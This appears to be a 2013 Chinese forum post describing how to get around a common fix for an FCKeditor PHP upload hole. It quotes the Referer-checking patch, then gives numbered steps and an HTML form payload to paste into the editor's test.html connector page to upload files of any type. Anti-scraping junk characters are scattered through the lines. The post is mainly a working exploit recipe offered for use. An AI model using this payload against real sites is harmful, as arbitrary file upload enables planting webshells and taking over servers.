找回密码
 立即注册
查看: 2870|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php/ S: O/ w7 k2 L; F6 {
网上给出的修复方案是) `- l7 h: O% n+ c
修复方法,删除FCK编辑器用其他的编辑器5 G7 L1 W2 a' E0 G/ ]
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
% W# _( q& ?+ G4 N2 {# ]# V3 {$ f  s3 R
require(‘config.php’);' \: B) F" D: X2 N; z0 c
require(‘util.php’);( q0 j$ B8 |9 X
的下面添加以下代码—————————–
  V0 e4 _6 [, \# M/ n' \+ k//防止外部提交8 h- k1 V6 n- e; z
function outsidepost()
% x: r2 q5 r5 F' s& ]{- r& s; W) B9 C/ U; N7 K9 l+ v' a
$servername=$_SERVER['SERVER_NAME'];
& a' I3 j: X  L! k( e" W$sub_from=@$_SERVER['HTTP_REFERER'];
3 O- O) P5 e/ U; K, h! @1 u$sub_len=strlen($servername);: p  T8 V  A4 H8 g
$checkfrom=substr($sub_from,7,$sub_len);
2 N9 `, u7 V' r- W2 w  \$ tif($checkfrom!=$servername){4 T: i6 Q4 x1 T' o
echo(“you don’t outsidepost!”);+ j) C+ V; [4 Z+ U7 g; v
exit;- J$ U  f8 G/ R0 `+ u. a
}3 j. `" k! R* C/ J! a
}4 j8 s" c1 D4 v- ^8 Y
outsidepost();
, Z% @3 N9 @) K2 X; ~7 Z& ^防止外部提交,但是没有防止内部提交,
* [9 [# ?, U! [, p" Q! j利用方法:* s4 g2 X( E1 Q( ]$ {6 j, s
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* G0 W' J/ c. X, h* }
2,在Current Folder 框输入
2 k( O! V2 o1 L: a<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
. d7 N$ k# p9 n* F然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。+ E8 q0 }3 Z# Q; U
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表